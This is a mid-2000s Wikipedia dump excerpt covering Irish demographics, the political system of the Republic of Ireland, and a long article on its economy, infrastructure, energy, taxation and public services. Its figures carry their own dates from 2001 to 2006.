'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
77.36 years
&lt;br&gt;''male:''
74.74 years
&lt;br&gt;''female:''
80.15 years (2004 est.)

'''Total fertility rate:'''
1.87 children born/woman (2004 est.)

'''HIV/AIDS - adult prevalence rate:'''
0.1% (2001 est.) 

'''HIV/AIDS - people living with HIV/AIDS'''
2,400 (2001 est.) 

'''Nationality:'''
&lt;br&gt;''noun:''
Irishman(men), Irishwoman(women), Irish (collective plural)
&lt;br&gt;''adjective:''
Irish

'''Major Ethnic groups:'''
Irish Celtic majority; English, Polish, Chinese, Nigerian, Latvian, Lithuanian

'''Religions:'''
[[Roman Catholic]] 88.4%, [[Church of Ireland]] 2.95%, [[Presbyterian]] 0.5%, [[Methodist]] 0.25%, [[Jewish]] 0.05% other 2.27% (2002)

'''Languages:'''
[[English language|English]] is the more commonly used language, [[Irish language|Irish]] ([[Goidelic languages|Gaelic]]) is spoken mainly in the [[Gaeltacht]] located along the western seaboard and in Dublin and other urban areas (with 340,000 in 2002 census claiming daily usage)

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
98% (1981 est.)
&lt;br&gt;''male:''
NA%
&lt;br&gt;''female:''
NA%

==See also==
*[[Republic of Ireland]]
*[[Ireland]]

==External links==
*[http://www.cso.ie/ Irish Central Statistics Office]
*[http://www.qub.ac.uk/cdda/iredb/dbhme.htm Historical Census Data]

[[Category:Demographics of Ireland| ]]

[[es:Demografía de Irlanda]]
[[pt:Demografia da República da Irlanda]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Republic of Ireland</title>
    <id>14677</id>
    <revision>
      <id>41491318</id>
      <timestamp>2006-02-27T18:51:30Z</timestamp>
      <contributor>
        <username>Guliolopez</username>
        <id>262716</id>
      </contributor>
      <minor />
      <comment>/* See also */ rv &quot;See Also&quot; edit. (Article not-notable in context of wider &quot;Politics of Republic of Ireland&quot;)</comment>
      <text xml:space="preserve">{{PoliticsRofI}}
'''Politics of the Republic of Ireland''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Ireland]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the parliament. Since long times the party system is dominated by the conservative [[Fianna Fáil]] and [[Fine Gael]] parties. The [[Judiciary]] is independent of the executive and the legislature. The state is a member of the [[European Union]].

==Government==
===Constitution===
''Main article: [[Constitution of Ireland]]''

The state operates under the Constitution of Ireland, also known as Bunreacht na hÉireann, adopted in [[1937]]. The constitution falls broadly within the [[liberal democracy|liberal democratic]] tradition. It defines the organs of government and guarantees certain fundamental rights. The constitution may only be amended by [[referendum]]. Important constitutional referenda have concerned issues such as [[abortion]], the status of the [[Roman Catholic Church|Catholic Church]], divorce and the European Union.

==Executive branch==
{{office-table}}
|[[President of Ireland]]
|[[Mary McAleese]]
|
|[[11 November]] [[1997]]
|-
|[[Taoiseach]] (prime minister)
|[[Bertie Ahern]]
|[[Fianna Fáil]]
|[[26 June]] [[1997]]
|}

===Head of state===
''Main article: [[President of Ireland]]''
The head of state is the President of Ireland. In keeping with the state's [[parliamentary system]] of government the President exercises largely a ceremonial role but does possess certain reserve powers. The presidency is open to all citizens who are at least 35. They are directly elected by secret ballot under the [[Alternative Vote]]. A candidate may also be chosen by a consensus among the political parties, in which case it is unnecessary to proceed to a ballot. The President is elected to a seven year term; no candidate may serve more than two terms. In carrying out certain of her constitutional functions, the President is aided by the [[Council of State (Ireland)|Council of State]].

===Government===
''Main article: [[Irish Government]]''
Executive authority is exercised by a [[cabinet (government)|cabinet]] known simply as the Government. The Government consists of the [[Taoiseach]] (prime minister), the [[Tánaiste]] (deputy prime minister) and up to thirteen other ministers. The Taoiseach is appointed by the President, after being designated by [[Dáil Éireann]] (the lower house of parliament). The remaining ministers are nominated by the Taoiseach and approved by the Dáil. The Government must enjoy the confidence of Dáil Éireann and, in the event that they cease to enjoy the support of the lower house, the Taoiseach must either resign or persuade the President to dissolve the Dáil, in which case a [[general election]] follows.
==Legislative branch==
''Main article: [[Oireachtas]]''
The parliament of the Republic of Ireland is the Oireachtas. The Oireachtas consists of the President and two houses: Dáil Éireann and Seanad Éireann (also known as the Senate). The Dáil is by far the dominant tier of the legislature. The President may not veto laws in most circumstances and the Senate may only delay legislation.

*'''[[Dáil Éireann]]''': The Dáil is directly elected at least once in every five years under the [[Single Transferable Vote]] form of [[proportional representation]]. Membership of the house is open to all citizens who are at least 21, and the electorate consists of adult Irish and UK citizens. It usually has around 160 to 170 members. Since the early 1990s no single party has had a majority in Dáil Éireann, meaning that [[coalition government|coalition governments]] have been the norm.

*'''[[Seanad Éireann]]''': The Senate is a largely advisory body. It consists of sixty members: eleven nominated by the Taoiseach, six elected by certain national universities, and 43 elected from special vocational panels of candidates. The Senate has the power to delay legislative proposals and is allowed 90 days to consider and amend bills sent to it by the Dáil.

==Political parties and elections==
{{elect|Political parties in the Republic of Ireland|Elections in the Republic of Ireland}}
A number of political parties are represented in the Dáil and [[coalition government]]s are common. Neither of the two largest parties, Fianna Fáil and Fine Gael, strongly identifies itself as either a left or right-wing group. The third largest party in the state is the centre-left [[Irish Labour Party|Labour Party]]. Labour is joined on the left by the [[Irish Green Party|Green Party]], [[Sinn Féin]] and the [[Socialist Party of Ireland|Socialist Party]]. The right is represented by the [[Progressive Democrats]] who, while liberal on economic policy, are left-wing on social matters. Independent TDs (MPs) also play an important role in Irish politics.
{{Irish general election, 2002}}
==Judiciary==
''Main article: [[Courts of the Republic of Ireland]]''

The Republic of Ireland is a [[common law]] jurisdiction. The judiciary consists of the [[Supreme Court of the Republic of Ireland|Supreme Court]], the [[High Court of the Republic of Ireland|High Court]] and many lower courts established by law. Judges are appointed by the President after being nominated by the Government and can be removed from office only for misbehaviour or incapacity, and then only by resolution of both houses of the Oireachtas. The final court of appeal is the Supreme Court, which consists of the Chief Justice and seven other justices. The Supreme Court has the power of [[judicial review]] and may declare to be invalid both laws and acts of the state which are repugnant to the constitution.

==Local government==
''Main article: [[Local government in the Republic of Ireland]]''

Local government in the Republic of Ireland is governed by the Local Government Acts, the most significant of which was in 2001, which established a two-tier structure of [[local government]]. The top tier of the structure consists of 29 [[County Council]]s. Each of the Republic's 26 traditional counties have councils, with the exceptions of [[Dublin]] (with 3 councils), and [[Tipperary]] (with 2). The five largest cities ([[Dublin]], [[Cork]], [[Galway]], [[Limerick City|Limerick]], and [[Waterford]]) also have City Councils, which have the same status as County Councils.

The second tier of local government consists of the [[town]] councils. The city of [[Kilkenny]] and four other town [[borough]]s ([[Sligo]], [[Drogheda]], [[Clonmel]], and [[Wexford]]), use the title of &quot;Borough Council&quot; instead of &quot;Town Council&quot;, but they have no additional responsibilities. Local government bodies have responsibility for such matters as planning, roads, sanitation, and libraries.

==North-South Ministerial Council==
''Main article: [[North-South Ministerial Council]]''

Under the [[Belfast Agreement]] (also known as the Good Friday Agreement) and Article 3 of the constitution a North-South Ministerial Council and six North-South Implementation Bodies coordinate activities and exercise a limited governmental role within certain policy areas across the whole island of [[Ireland]]. The Implementation Bodies have limited executive authority in six policy areas. Meetings of the Council take the form of meetings between ministers from both the Republic's Government and the [[Northern Ireland Executive]]. The Council is currently in abeyance.

==Northern Ireland==

[[Northern Ireland]] has been a major factor in Irish politics since the island of Ireland was [[Partition of Ireland|divided]] in [[1920]]. The creation of Northern Ireland led to conflict between northern [[Irish nationalism|nationalists]] (mostly [[Catholic]]) who seek unification with the independent southern state and [[Unionist (Ireland)|Unionists]] (mostly [[Protestant]]) who wish for Northern Ireland to remain within the [[United Kingdom]]. This conflict exploded into a violent conflict in the late sixties known as the [[The Troubles|Troubles]] involving groups such as the [[Provisional Irish Republican Army|Provisional IRA]], [[loyalist]] paramilitaries, the [[RUC|police]] and the [[British army]]. The Troubles have caused thousands of deaths in Northern Ireland but have also spilled over into bombings and acts of violence in [[England]] and in the Republic.

Since its foundation it has been the stated long-term policy of governments of the state now called the Republic of Ireland to bring an end to the conflict in Northern Ireland and to bring about a [[united Ireland]]. Northern Ireland has also, in the past, often been a source of tension between the Irish Government and the [[British government]]. In order to find a solution to the Troubles the Irish Government became a partner in the [[Belfast Agreement|Good Friday (Belfast) Agreement]] in [[1998]].

While Sinn Féin have long organised in both Northern Ireland and the Republic, Fianna Fáil have recently opened a ''cumann'''(branch) in [[Derry]] and begun recruiting members at [[Queen's_University_Belfast|Queen's University]], [[Belfast]].

''See also: [[History of Northern Ireland]].''

==International organisation participation==

The republic is member of [[Australia Group]], [[Bank for International Settlements|BIS]], [[Council of Europe|CE]], [[EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[European Investment Bank|EIB]], [[Economic and Monetary Union of the European Union|EMU]], [[European Space Agency|ESA]], [[EU]], [[Food and Agriculture Organization|FAO]], [[AEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[International Energy Agency|IEA]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]] (observer), [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[MINURSO]], [[NAM]] (guest), [[Nuclear Energy Agency|NEA]], [[Nuclear Suppliers Group|NSG]], [[OECD]], [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Partnership for Peace|PFP]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNFICYP]], [[UNHCR]], [[UNIDO]], [[UNIFIL]], [[UNIKOM]], [[UNITAR]], [[UNMIBH]], [[UNMIK]], [[UNMOP]], [[UNTAET]], [[UNTSO]], [[UPU]], [[World Customs Organization|WCO]], [[WEU]] (observer), [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WTrO]], [[Zangger Committee]].

==See also==
*[[List of Ireland-related topics]]
*[[History of the Republic of Ireland]]
*[[History of Ireland]]
*[[List of Irish general elections]]
*[[List of Irish by-elections]]
*[[Parliamentary Constituencies in the Republic of Ireland]]
*[[The Reform Movement]]

==External links==
*[http://www.electionsireland.org ElectionsIreland.org] - Irish election results from 1920 to today.
[[Category:Republic of Ireland]][[Category:Politics of the Republic of Ireland]]

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The '''[[economic system|economy]] of the [[Republic of Ireland]]''' is modern, relatively small, and trade-dependent with growth averaging a robust 10% in [[1995]]&amp;ndash;[[2000]]. [[Agriculture]], once the most important sector, is now dwarfed by [[industry]], which accounts for 46% of [[Gross Domestic Product|GDP]], about 80% of [[export]]s, and employs 29% of the [[labour force]]. Although exports remain the primary engine for the Republic's robust growth, the economy is also benefiting from a rise in [[consumer spending]] and recovery in both [[construction]] and business [[investment]]. The annual rate of [[inflation]] stands at 2.3% [[as of 2005]], down from recent rates of between 4% and 5%. House price inflation has been a particular economic concern (average house price was €251,281 in February [[2005]]).  Unemployment is very low and incomes have been rising rapidly although costs have also been rising [http://www.rte.ie/business/2005/0323/housing.html]) as well as service charges ([[public utility|utilities]], [[insurance]], [[healthcare]], [[Lawyer|legal representation]], etc.). [[Dublin]], the nation's [[capital]], was ranked 22nd in a worldwide cost of living survey in [[As of 2004|2004]] [http://www.finfacts.com/costofliving4.htm] - a rise of two places on [[2003]]. Ireland has been reported to have the second highest per capita income of any country in the EU (if not Europe) next to Luxembourg, and fourth highest in the world.

==History==
''Main article: [[Economic history of the Republic of Ireland]]''

The state known today as the Republic of Ireland seceded from the [[United Kingdom]] in [[1922]]. The state was plagued by poverty and [[emigration]] until the 1990s. That decade saw the beginning of unprecedented economic success, in a phenomenon known as the &quot;[[Celtic Tiger]]&quot;. Over the past decade, the Irish government has implemented a series of national economic programmes designed to curb [[inflation]], ease tax burdens, reduce government spending as a percentage of [[gross domestic product|GDP]], increase labour force skills, and promote foreign investment. The Republic joined in launching the [[euro]] currency system in January [[1999]] along with ten other [[European Union]] nations. The economy felt the impact of the global economic slowdown in [[2001]], particularly in the high-tech export sector &amp;ndash; the growth rate in that area was cut by nearly half. GDP growth continued to be exceptionally high in international terms, with a rate of about 6% in [[2001]] and [[2002]] &amp;ndash; and it is expected to continue at more than 4 per cent (2006 onwards). Since 2001, GNI (which measures income to Irish residents rather than output) growth has been much worse, with an almost three-fold decrease in 2001 from the previous year. After a near stagnant year in 2002, growth started to pick up once again in [[2003]] has been very buoyant since.[http://www.finance.gov.ie/documents/publications/other/bes_04.pdf].

==Infrastructure==
Ireland's transport [[infrastructure]] varies substantially in quality. On the East coast, the country is served by a modern road network which includes a north-south [[motorway]] (the [[M1 motorway (Republic of Ireland)|M1]]), various by-passes and several [[dual carriageway]]s. The rest of the country however is still served by a relatively poor standard of road. The main national routes are centred on Dublin, leading to other population centres. There is only one major non-Dublin route (or series of routes), extending through the western half of Ireland from Cork through Limerick to Galway, Sligo and Donegal. The nationwide road network is currently being upgraded and improved by the [[National Development Plan]]. The [[Dublin]] area - the best connected area in the country - is served by a light rail network (the [[Luas]]), the [[Dublin Port Tunnel]] the [[M50 motorway (Ireland)|M50]], [[Dublin Airport]], [[commuter rail]] and the [[DART]]. Also most major national road and rail routes converge on the city.

[[Image:DART Unit 8203.jpg|thumb|left|200px|The [[Dublin Area Rapid Transit|DART]] is a key piece of infrastructure in [[Dublin]] for commuters]]

Ireland's rail network is run by the semi-state body [[Iarnród Éireann]], a subsidiary of [[Córas Iompair Éireann|CIÉ]] and is made up of 9 national lines and several regional commuter lines such as the [[DART]]. CIÉ retain some freight customers, though few new freight services have started in recent years. Only some major ports remain technically freight-connected, the connection at [[Sligo]] for example was removed in [[2003]], while the link to [[Foynes]] has remained unused since [[1999]]. The efficiency of the train network is poor, with regular delays and overcrowding on major routes ([http://www.thepost.ie/web/Home/Document%20View%20Business/did-889012424-pageUrl--2FBusiness-2FNews-2FAll-News.asp]). Some regional routes have few services, and as a result, struggle to achieve passengers. Much new rolling stock has been acquired since [[1994]], and [[as of 2004]], this is finally beginning to expand capacity rather than just replacing old stock. Most major routes have been relaid with continuous welded rail, and signalling has in most cases been upgraded from the more than century-old mechanical semaphores.

The country has a total of 36 airports and airfields, of which 3 - [[Dublin Airport]], [[Shannon International Airport]] and [[Cork International Airport]] are of a substantial size. The country is served by several airlines, most notably [[Aer Lingus]], [[Ryanair]], [[Aer Arann]], and [[Cityjet]]. Air transport is relatively cheap. The main ports are [[Rosslare Europort]], [[Limerick]], [[Dublin]], [[Cork]] and [[Waterford]]. There are daily ferry services to Britain [http://www.infrastructure.ie/].

The telecommunications network is slowly improving, admittedly from a low base. [[As of 2004]] broadband is available to approximately 50% of homes and businesses, with about 15% geographic coverage - however it remains relatively expensive. Coverage may expand if the telephone network is refurbished - currently 25% of lines connected to broadband-enabled exchanges cannot avail of broadband, due to bad line quality. The former state telecoms giant, [[Eircom]], is on the record as not keeping up with line degradation in their network maintenance. The mobile market has four providers - [[3 (telecommunications)|3 Ireland]], [[O2 Ireland]], [[Meteor Mobile Communications|Meteor]] and [[Vodafone Ireland]]. The electricity transmission system is run by the [[Electricity Supply Board]] and is available nationwide. The gas network is currently being expanded.

''See also: [[Transportation in Ireland]], [[Rail transport in Ireland]], [[Roads in Ireland]], [[Communications in Ireland]]''

==Natural resources==
[[Image:Killybegs harbour ireland.jpg|thumb|250px|Trawlers sit in [[Killybegs]] harbour, in [[County Donegal]], one of Ireland's biggest fishing ports. Over fishing has depleted Ireland's [[cod]] stocks in particular.]]
Ireland's main economic resource is its large fertile pastures. Most of Ireland, particularly the midland and southern regions are suitable for agriculture. Ireland also contains some forestry - mainly pine. Its coastline - once abundant in fish, particularly [[cod]] - has been overfished for several years and fish stocks have yet to recover. However Ireland's waterways remain plentiful in [[salmon]] and [[trout]]. As for mineral resources, the country has large quantities of [[lead]], [[gypsum]], [[limestone]] and [[zinc]], and smaller (unviable) quantities of [[copper]], [[silver]], [[gold]], [[barite]], and [[dolomite]]. In the midlands, Ireland has huge reserves of [[peat]] - however its economic usefulness as a fuel resource has diminished in recent years due to environmentalist calls for the protection of Irish [[bog|bogs]]. To the south of the country and to the west, Ireland has significant exploitable reserves of natural gas (current proven reserves of 9.911bn cubic metres).

==Energy==
The vast majority of Irish energy needs are met by fossil fuels. About 98% of the Republic of Ireland's final energy demand is produced by burning [[coal]], [[petroleum]], [[peat]], or [[natural gas]] [http://www.irish-energy.ie/content/content.asp?section_id=454].  This over reliance on fossil fuels - particularly oil - has left the Republic vulnerable to international price fluctuations - the state imports all of its oil needs. Renewable energy is increasing in the Republic - [[Airtricity]] and Hibernia Wind Energy (a subsidiary of the [[Electricity Supply Board|ESB]])and many other companies are developing wind farms across the country. As of December [[2005]], there were fifty wind farms operational in the state, with a combined capacity of 500MW - generating enough energy for 300,000 homes, depending on wind conditions. In addition, a further 600MW of wind farms (40 more) have signed connection agreements to link to the power system at high voltage or low voltage, and up to 200MW of wind farms have received connection offers.  This means that Ireland is on target to exceed its EU target of 13.2 per cent of electricity generated from renewable sources by 2010.  In addition to wind farms, electricity is also generated at large scale hydro schemes on the Shannon, Erne, Liffey and Lee rivers, and at mini-hydro stations, as well as landfill gas generating plants in Cork and Dublin cities.

It has been stated that the Republic could eventually become an exporter of [[wind energy]]. [http://www.irish-energy.ie/home/index.asp]. However, a report by consultants Garrad Hassan estimated that when there were large quantities of wind power being generated in Ireland due to windy condition, it was also likely that there would be large quantities of wind being generated in Great Britain and therefore less demand for imports, because the same weather systems tend to affect both islands.  More interconnection (links between Ireland and Britain), future technological breakthroughs in energy storage, flexible fossil fuel generation and controllability of wind output, will all play a part in the increasing integration of wind onto the Irish power system.  Targets beyond the 13.2 per cent figure are currently being looked at.

===Statistics===
[[Image:Peat Lewis.jpg|thumb|250px|[[Peat]] once provided much of Ireland's energy needs]]
*'''Electricity production:''' 23,530 GWh ([[As of 2001|2001]])
*'''Electricity production by source:''' ''fossil fuel: 94.12%, hydro: 4.63%, nuclear: 0%, other: 1.25% ([[As of 1998|1998]])''
*'''Electricity consumption:''' 21,630 GWh ([[As of 2001|2001]])
*'''Electricity exports:''' 285 GWh ([[As of 2001|2001]])
*'''Electricity imports:''' 38 GWh ([[As of 2001|2001]])
*'''Oil consumption:''' 174,400 barrel (27,730 m³) per day ([[As of 2001|2001]] est.)
*'''Natural gas production:''' 815 million m³ ([[As of 2001|2001]] est.)
*'''Natural gas consumption:''' 4.199 km³ ([[As of 2001|2001]] est.)
*'''Natural gas proved reserves:''' 9.911 km³ (As of [[1 January]] [[2002]])

==Monetary system==
The national currency is the [[euro]] (Ireland is a member of the [[Economic and Monetary Union of the European Union|EMU]]). The banking system is dominated by the [[Big Four]] - [[Allied Irish Banks|AIB Bank]], [[Bank of Ireland]], [[Ulster Bank]] and [[National Irish Bank]]. The banking system is generally quite expensive and uncompetitive. There is a large [[Credit Union]] movement within the country which offers an alternative to the banks. There is a stock exchange (the [[ISEQ]]) in [[Dublin]], however, due to its small size, many firms also maintain listings on either the [[AIM]], [[FTSE]] or [[NASDAQ]]. The insurance industry is poorly regulated and dominated by a handful of foreign players. Premiums are very high, particularly for motor insurance. Because Ireland is a member of the EMU, it cannot dictate its own [[interest rate|interest rates]], these are set by the [[ECB]]. At present the ECB has set a very low interest rate - to try and stimulate the German and French economies - however Ireland's economy is already growing at a very fast rate. This has led to increased house price inflation as many, especially young couples, take on large mortgages, and the wealthy buy investment properties. [[As of 2004]], average Irish house prices stand at €220,000 (this compares to IRE£9,000 (€11,430) in [[1973]]).

===Statistics===
*'''[[Reserves of foreign exchange]] &amp; gold:''' $4.152 billion ([[As of 2003|2003]])
*'''Historic Exchange rates (Irish pounds per US$1:)''' 0.9865 (January 2000), 0.9374 (1999), 0.7014 (1998), 0.6588 (1997), 0.6248 (1996), 0.6235 (1995)
*'''Historic Exchange rates (Euro per US$1:)'''0.7819 ([[As of 2004|2004]])

==Economic makeup==
[[Image:Irish economy.png|thumb|300px|The chart displays the make up of Irish GDP]]
The Irish economy's secondary and tertiary sectors are of a similar size in fiscal terms however in terms of labour, the tertiary sector is far larger. Similarly in fiscal terms the primary sector appears small, however it still employs about 8% of the workforce.

===Primary sector===
The primary sector constitutes 5% of Irish GDP, and 8% of Irish employment. It is largely made up of [[cattle]] grazing, [[dairy]] production, [[fishing]] and [[tillage]] farming; particularly of [[turnips]], [[barley]], [[potatoes]], [[sugar beet]], and [[wheat]]. [[Forestry]] has become a sizeable part of the Irish Economy under the incentivisation of state body ''Coillte''. [[Zinc]] and [[Lead]] are mined in [[County Meath]] by ''Tara Mines''. Quarrying is generally only for the internal market. In recent years, [[natural gas]] exploration has become a significant contributor to the economy - there is gas off the south of [[County Cork]] and to the West of [[County Mayo]]. [[Peat]] exploitation in the midlands provided large employment and a valuable contribution to the energy needs of the country for much of the 20th century, however its significance has dwindled in recent years. Other natural resources include Gold deposits in the Wicklow Mountains, which however are at present not exploited due to their commercial unviability.

===Secondary sector===
The secondary sector constitutes 46% of Irish GDP &amp;mdash; but only 29% of the labour force. Dominated for many years by textile companies like [[Fruit of the Loom]], the sector is now largely made up of high-tech/high value multi-nationals such as [[Dell, Inc.|Dell]], [[Intel]], [[Pfizer]] and [[IBM]]. The secondary sector in Ireland manufactures products such as [[computers]] (25% of Europe's computers are made in Ireland, the European Headquarters of [[Apple Computer]] are in [[Cork]] City), computer parts (Intel processors are made in Ireland), [[medication|drugs]] (much of Europe's supply of [[Viagra]] is made in Cork), [[confectionery]] ([[HB]], [[Jacobs]] and [[Cadbury-Schweppes]] all have significant Irish operations), [[beer]] (the [[Guinness]] and [[Smithwicks]], and [[Harp lager]] breweries are located in Ireland), high quality [[glass]] and [[crystal]] ([[Waterford Crystal]] is made in [[County Waterford]]), [[software]] (Ireland is the world's largest exporter of software - [[Oracle Corporation|Oracle]] and [[Microsoft]] both have large operations in Dublin) and [[machinery]]. The sector faces increasing competition from cheaper Eastern European countries such as [[Poland]] and many Asian countries such as [[China]], particularly in the lower skill areas such as [[confectionery]] manufacturing. The industrial production growth rate in [[As of 2003|2003]] was 6.7%.
[[Image:Newgrange ireland 280px.jpg|thumb|170px|left|Tourist sites such as [[Newgrange]], [[County Meath]] are vital to the Irish economy]]

===Tertiary sector===
The tertiary sector constitutes 49% of Irish GDP and 64% of Irish employment. The tertiary sector is by far the largest driver of modern Irish economic growth &amp;mdash; the ''[[Celtic Tiger]]''. It is made up of several industries such as [[accountancy]], the [[legal]] sector, [[call center|call centres]] and customer service operations, [[finance]] and stock broking, [[catering]], and [[tourism]]. Many US firms (such as [[IBM]] and [[Apple Computer]]) located their European customer service operations in Ireland due to the availability of a young, well educated, English speaking workforce. The Irish tourism industry attracts over five million visitors annually and employees over 100,000. The [[IFSC]] in [[Dublin]] created some 14,000 jobs in the [[1990s]], all in the high-value finance and legal sectors. The hospitality and retail sectors are quite large &amp;mdash; there are hundreds of domestic and foreign retail firms in Ireland (such as [[Next (retailer)|Next]] and [[Argos]]), and many cafe and restaurant firms operate in Ireland (such as [[McDonalds]], [[Burger King]] and [[Subway (sandwich)|Subway]].)

''See also: [[Retail in Ireland]]''
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==State role in the economy==
===State ownership and deregulation===
At present the [[Irish Government]] controls several large and key parts of the economy:
*Through [[Córas Iompair Éireann|CIE]] they control most of the [[bus]] and all of the [[railway]] market, a significant amount of the scheduled land transport services are accounted for through CIE companies.
*Through the [[Electricity Supply Board|ESB]] the government controls much of the electricity generation market, and all of the electricity transmission network.
*Through [[Radio Telefís Éireann|RTE]] the government control much of the radio and television broadcast sector, although commercial enterprises are gaining market share - the states control is by no means [[propaganda]] but it has a large [[financial]] and [[regulatory]] control of the sector.
*Through ownership of [[Aer Lingus]] and various airports, the government operates a large part of the [[aviation]] industry which is often accused as adopting change slowly &amp;mdash; although in recent years [[Ryanair]], [[Aer Arann]] and [[Cityjet]] have brought competition to the market.
*Through [[An Post]], the government has a monopoly of the light mail deliver industry and a large portion of the partially deregulated parcel and express deliver market.

Although the government owns the incumbents in the electricity, mail, broadcasting, land transport and air transport industries, many are wholly or partially open to competition from the private sector. Traditionally large and key sectors of the economy were dominated by government ownership. Some of these industries are currently being reformed and opened to competition however some of them are regarded as being slow to adopt change and reform to work practice &amp;mdash; work pay and conditions are often much better than that in the private sector with some having overstaffing or underproductivity which is seen as an impediment to reform.

The government is currently considering the [[privatisation]] of [[Aer Lingus]] and part of the [[Electricity Supply Board]], but it is somewhat reluctant because of an earlier situation that resulted from the privatisation of [[Eircom]] &amp;mdash; hundreds of thousands of small shareholders lost money, private investors took control and established a virtual monopoly and under-investment led to a slow roll out of [[broadband]] infrastructure.

===Taxation===
''Main article: [[Taxation in the Republic of Ireland]]''

The present government ([[1997]]&amp;ndash;) has favoured a low taxation policy to encourage [[FDI]] in Ireland.  Consequently, the government opposes moves by the [[European Commission]] to restrict [[tax competition]].  (The corporate tax rate is only 12.5%, versus between 20% and 60% in the rest of Europe).  The income tax system is designed to [[redistribution|redistribute]] wealth from the richer to the poorer segments of society. There are 2 tax bands, based on income levels. These range from a top rate of 42%, to a bottom rate of 20%.

The government receives much of its revenues from taxes on goods &amp;mdash; these include a 21% [[VAT]] rate on most consumer goods, high levels of [[excise duty]] on [[tobacco]], [[petrol]], and [[alcoholic beverage|alcohol]] and several smaller taxes on items such as plastic bags, [[cheque]]s, [[automatic teller machine|ATM]] cards, [[credit card]]s and [[debit card]]s. The taxes in the personal financial sector, as well as the [[television licence]], are often seen as [[regressive tax|regressive]].

===The welfare state===
The Irish government runs a [[Welfare state]] system. The government provides free [[education]] at all levels, and for all Irish or EU citizens. Free healthcare is not universal, being restricted to the unemployed and very low earners at the General practitioner level. However hospital care is free to all, although waiting lists and delays characterise the public health service. People who are unemployed receive [[unemployment benefit]]s and retired people are entitled to a [[pension|state pension]] - both benefits are quite high by international comparisons however recent changes in the cost of living in Ireland have greatly eroded their relative buying power.

====Health care====
''Main article: [[Health care in the Republic of Ireland]]''

The health care system is poorly operated with many accident and emergency wards overcrowded and understaffed and tends to be seen as a [[patronage]] system rather than patient focused, something often [[colloquial|colloquially]] referred to as &quot;[[The Eleven Kingdoms]]&quot;. People with disabilities are entitled to have carers and their other living expenses paid for by the government, however services can be patchy. Health care in Ireland is comparatively expensive, with an average GP visit being €40 (or more) and dentist's visit €70 (or more). The &quot;medical card&quot;, eligibility for free health care, is only available to the unemployed, extremely low earners or those who can present a medical reason, although over one million are registered on the system - the system is also criticised for being reactionary rather than preventative. Ireland has one of the highest levels of take-up of private [[health insurance]] in the world. This, though expensive, does not result in entirely private healthcare. Those with health insurance are treated privately in public hospitals. The main benefit is avoiding the long waiting lists for major treatment that those without health insurance must endure. Thus Ireland is frequently said to have a &quot;two-tier&quot; health service. The health system, despite having millions spent on it throughout the Celtic Tiger years, has severe problems. An ongoing issue is the &quot;waiting lists&quot;, for those requiring in some cases, serious operations. These are over a year for some procedures. Another problem is accident and emergency (A&amp;E) overcrowding, with patients frequently left on trolleys in corridors for hours. A reorganisation of the health service is planned, but this is also controversial, with several cases of people dying en-route to centralised facilities (the inferior nearby facilities being shut down).

====Education====
''Main article: [[Education in the Republic of Ireland]]''

The [[Education in the Republic of Ireland|education system]] is generally quite good with standards in [[mathematics]], [[science]] and [[technology]] being among the highest in [[Organisation for Economic Co-operation and Development|OECD]] member nations. The state has a virtual [[monopoly]] in [[higher education]] &amp;mdash; there are few private colleges and these are highly specialised. The primary and secondary school enrolment levels are quite high and at these levels choice is wide. Third level entry is competitive; cost is relatively cheap and courses adjusted to the needs of the economy. Irish adult literacy is 99% &amp;mdash; in line with other OECD countries.

The only recognised universities are [[Dublin City University]], [[National University of Ireland]] (with ''constituent universities'' at [[University College Cork - National University of Ireland, Cork|Cork]], [[University College Dublin - National University of Ireland, Dublin|Dublin]], [[National University of Ireland, Galway|Galway]] and [[National University of Ireland, Maynooth|Maynooth]]), [[University of Limerick]] and [[University of Dublin]]. The [[Regional Technical College|Institute of Technology]] system has recently overtaken the universities in terms of first year enrolment numbers and this trend appears to be accelerating.

==Economic ties==
===United States===
[[Image:Pfizer logo.png|thumb|150px|[[Pfizer]] was one of the first foreign multi-nationals to locate in Ireland. It did so in the [[1960s]] and today it still employs several thousand workers in [[County Cork]].]]
In [[2003]], [[trade]] between [[Republic of Ireland|Ireland]] and the [[United States]] was worth around $33 billion, a $4 billion increase over [[2002]]. U.S. [[export]]s to Ireland were valued at $7.7 billion, an increase of almost $1 billion over 2002. Irish exports to the U.S. were worth some $25.7 billion &amp;mdash; a 500% increase since [[1997]]. Ireland had a trade surplus of over $15 billion with the U.S. in 2003. [http://www.census.gov/foreign-trade/balance/c4190.html#2004] The range of U.S. products imported to Ireland includes [[electricity|electrical]] components, [[computers]] and [[peripheral]]s, [[pharmacology|drugs and pharmaceuticals]], electrical equipment, and [[livestock]] feed. Exports to the United States include [[Alcoholic beverage|alcoholic beverages]], [[chemicals]] and related products, [[electronics|electronic]] [[data processing]] equipment, electrical [[machinery]], [[textiles]] and [[clothing]], and [[glass]]ware.

